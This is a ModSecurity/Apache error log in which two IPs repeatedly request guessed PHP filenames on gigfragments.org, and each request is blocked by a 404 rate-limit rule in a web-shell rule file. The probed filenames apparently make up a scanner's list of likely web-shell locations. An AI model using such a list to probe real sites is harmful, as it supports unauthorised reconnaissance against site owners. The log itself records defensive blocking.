[Sat Apr 25 18:20:25.377266 2026] [:error] [pid 16108:tid 16166] [client 20.215.66.169:13575] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyVaYbPF4HSQDj6WrlYcAAAAMI"]
[Sat Apr 25 18:20:25.438508 2026] [:error] [pid 16108:tid 16185] [client 4.232.187.202:6979] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyVaYbPF4HSQDj6WrlYcQAAANM"]
[Sat Apr 25 18:20:25.888303 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13683] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyVaYbPF4HSQDj6WrlYcgAAAM0"]
[Sat Apr 25 18:20:25.950065 2026] [:error] [pid 16108:tid 16190] [client 4.232.187.202:7148] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyVaYbPF4HSQDj6WrlYcwAAANg"]
[Sat Apr 25 18:20:26.423668 2026] [:error] [pid 16108:tid 16167] [client 20.215.66.169:13516] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyVaobPF4HSQDj6WrlYdgAAAMM"]
[Sat Apr 25 18:20:26.531973 2026] [:error] [pid 16108:tid 16189] [client 4.232.187.202:6991] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyVaobPF4HSQDj6WrlYeAAAANc"]
[Sat Apr 25 18:20:26.959487 2026] [:error] [pid 16195:tid 16221] [client 20.215.66.169:4004] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyVajVPLvrpvXaNQOkF8QAAABc"]
[Sat Apr 25 18:20:27.066962 2026] [:error] [pid 16195:tid 16201] [client 4.232.187.202:6983] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyVazVPLvrpvXaNQOkF8gAAAAM"]
[Sat Apr 25 18:20:27.506039 2026] [:error] [pid 16108:tid 16170] [client 20.215.66.169:13673] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyVa4bPF4HSQDj6WrlYgAAAAMY"]
[Sat Apr 25 18:20:27.581669 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:6479] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyVazVPLvrpvXaNQOkF9QAAAAE"]
[Sat Apr 25 18:20:28.042224 2026] [:error] [pid 16108:tid 16174] [client 20.215.66.169:13644] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyVbIbPF4HSQDj6WrlYggAAAMg"]
[Sat Apr 25 18:20:28.581777 2026] [:error] [pid 16106:tid 16110] [client 20.215.66.169:13570] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyVbCGjdEsrWF7e-7MWNwAAAEA"]
[Sat Apr 25 18:20:29.116639 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:3979] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyVbTVPLvrpvXaNQOkF-QAAABE"]
[Sat Apr 25 18:20:29.525665 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6464] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyVbTVPLvrpvXaNQOkF_gAAAAk"]
[Sat Apr 25 18:20:30.029206 2026] [:error] [pid 16108:tid 16187] [client 4.232.187.202:7140] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyVbobPF4HSQDj6WrlYiQAAANU"]
[Sat Apr 25 18:20:30.601301 2026] [:error] [pid 16106:tid 16132] [client 4.232.187.202:6497] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyVbiGjdEsrWF7e-7MWOwAAAFY"]
[Sat Apr 25 18:20:31.112950 2026] [:error] [pid 16107:tid 16159] [client 4.232.187.202:7024] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyVb9IfF7Hy3tw0sYRfcQAAAJY"]
[Sat Apr 25 18:20:31.627049 2026] [:error] [pid 16107:tid 16158] [client 4.232.187.202:7017] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyVb9IfF7Hy3tw0sYRfdQAAAJU"]
[Sat Apr 25 18:20:32.270128 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:7054] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyVcIbPF4HSQDj6WrlYlAAAANA"]
[Sat Apr 25 18:20:32.905386 2026] [:error] [pid 16107:tid 16151] [client 4.232.187.202:7100] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyVcNIfF7Hy3tw0sYRffQAAAI4"]
[Sat Apr 25 18:20:33.429225 2026] [:error] [pid 16108:tid 16181] [client 4.232.187.202:7098] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyVcYbPF4HSQDj6WrlYnQAAAM8"]
[Sat Apr 25 18:20:33.964158 2026] [:error] [pid 16195:tid 16212] [client 4.232.187.202:7036] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyVcTVPLvrpvXaNQOkGBQAAAA4"]
[Sat Apr 25 18:20:34.518193 2026] [:error] [pid 16106:tid 16117] [client 4.232.187.202:7091] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyVciGjdEsrWF7e-7MWQQAAAEc"]
[Sat Apr 25 18:20:35.066015 2026] [:error] [pid 16106:tid 16134] [client 4.232.187.202:7158] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyVcyGjdEsrWF7e-7MWQwAAAFg"]
[Sat Apr 25 18:20:35.641027 2026] [:error] [pid 16108:tid 16185] [client 4.232.187.202:7064] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyVc4bPF4HSQDj6WrlYqAAAANM"]
[Sat Apr 25 18:20:36.176505 2026] [:error] [pid 16195:tid 16204] [client 4.232.187.202:6978] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyVdDVPLvrpvXaNQOkGDgAAAAY"]
[Sat Apr 25 18:20:36.738719 2026] [:error] [pid 16108:tid 16178] [client 4.232.187.202:7026] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyVdIbPF4HSQDj6WrlYqgAAAMw"]
[Sat Apr 25 18:20:37.314927 2026] [:error] [pid 16108:tid 16175] [client 4.232.187.202:6993] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyVdYbPF4HSQDj6WrlYrAAAAMk"]
[Sat Apr 25 18:20:37.860049 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:7050] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyVdTVPLvrpvXaNQOkGFwAAABg"]
[Sat Apr 25 18:20:38.357814 2026] [:error] [pid 16195:tid 16206] [client 4.232.187.202:6512] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyVdjVPLvrpvXaNQOkGGgAAAAg"]
[Sat Apr 25 18:20:38.880416 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:7052] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyVdjVPLvrpvXaNQOkGIgAAABM"]
[Sat Apr 25 18:20:39.433844 2026] [:error] [pid 16107:tid 16137] [client 4.232.187.202:7090] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyVd9IfF7Hy3tw0sYRfhAAAAIA"]
[Sat Apr 25 18:20:39.992065 2026] [:error] [pid 16107:tid 16160] [client 4.232.187.202:7057] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyVd9IfF7Hy3tw0sYRfhwAAAJc"]
[Sat Apr 25 18:20:40.534620 2026] [:error] [pid 16107:tid 16149] [client 4.232.187.202:7075] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyVeNIfF7Hy3tw0sYRfiQAAAIw"]
[Sat Apr 25 18:20:41.005157 2026] [:error] [pid 16108:tid 16167] [client 4.232.187.202:6988] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyVeYbPF4HSQDj6WrlYvgAAAMM"]
[Sat Apr 25 18:20:41.507727 2026] [:error] [pid 16107:tid 16156] [client 4.232.187.202:7084] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyVedIfF7Hy3tw0sYRfigAAAJM"]
[Sat Apr 25 18:20:42.049301 2026] [:error] [pid 16107:tid 16157] [client 4.232.187.202:7030] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyVetIfF7Hy3tw0sYRfiwAAAJQ"]
[Sat Apr 25 18:20:42.601858 2026] [:error] [pid 16107:tid 16148] [client 4.232.187.202:7076] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyVetIfF7Hy3tw0sYRfjQAAAIs"]
[Sat Apr 25 18:20:43.131809 2026] [:error] [pid 16106:tid 16113] [client 4.232.187.202:7069] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyVeyGjdEsrWF7e-7MWWAAAAEM"]
[Sat Apr 25 18:20:43.631153 2026] [:error] [pid 16195:tid 16218] [client 4.232.187.202:7041] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyVezVPLvrpvXaNQOkGLwAAABQ"]
[Sat Apr 25 18:20:44.149448 2026] [:error] [pid 16106:tid 16123] [client 4.232.187.202:7000] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyVfCGjdEsrWF7e-7MWWQAAAE0"]
[Sat Apr 25 18:20:44.668863 2026] [:error] [pid 16195:tid 16202] [client 4.232.187.202:7159] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyVfDVPLvrpvXaNQOkGNgAAAAQ"]
[Sat Apr 25 18:20:45.203250 2026] [:error] [pid 16108:tid 16174] [client 4.232.187.202:6996] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyVfYbPF4HSQDj6WrlYywAAAMg"]
[Sat Apr 25 18:20:45.746843 2026] [:error] [pid 16106:tid 16116] [client 4.232.187.202:7099] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyVfSGjdEsrWF7e-7MWWwAAAEY"]
[Sat Apr 25 18:20:46.285337 2026] [:error] [pid 16108:tid 16180] [client 4.232.187.202:7011] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyVfobPF4HSQDj6WrlYzAAAAM4"]
[Sat Apr 25 18:20:46.803826 2026] [:error] [pid 16195:tid 16218] [client 4.232.187.202:7089] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyVfjVPLvrpvXaNQOkGQwAAABQ"]
[Sat Apr 25 18:20:47.321632 2026] [:error] [pid 16195:tid 16212] [client 4.232.187.202:7051] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyVfzVPLvrpvXaNQOkGSAAAAA4"]
[Sat Apr 25 18:20:47.791232 2026] [:error] [pid 16195:tid 16203] [client 4.232.187.202:6981] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyVfzVPLvrpvXaNQOkGTgAAAAU"]
[Sat Apr 25 18:20:48.256902 2026] [:error] [pid 16195:tid 16219] [client 4.232.187.202:6999] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyVgDVPLvrpvXaNQOkGWgAAABU"]
[Sat Apr 25 18:20:48.732480 2026] [:error] [pid 16108:tid 16164] [client 4.232.187.202:7005] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyVgIbPF4HSQDj6WrlY1wAAAMA"]
[Sat Apr 25 18:20:49.252064 2026] [:error] [pid 16106:tid 16132] [client 4.232.187.202:6475] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyVgSGjdEsrWF7e-7MWXwAAAFY"]
[Sat Apr 25 18:20:49.771837 2026] [:error] [pid 16107:tid 16137] [client 4.232.187.202:7077] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyVgdIfF7Hy3tw0sYRflgAAAIA"]
[Sat Apr 25 18:20:50.277922 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:7092] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyVgjVPLvrpvXaNQOkGaQAAABg"]
[Sat Apr 25 18:20:50.793653 2026] [:error] [pid 16195:tid 16216] [client 4.232.187.202:7066] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyVgjVPLvrpvXaNQOkGawAAABI"]
[Sat Apr 25 18:20:51.315064 2026] [:error] [pid 16106:tid 16122] [client 4.232.187.202:7049] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyVgyGjdEsrWF7e-7MWZwAAAEw"]
[Sat Apr 25 18:20:51.835807 2026] [:error] [pid 16108:tid 16186] [client 4.232.187.202:6925] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyVg4bPF4HSQDj6WrlY4gAAANQ"]
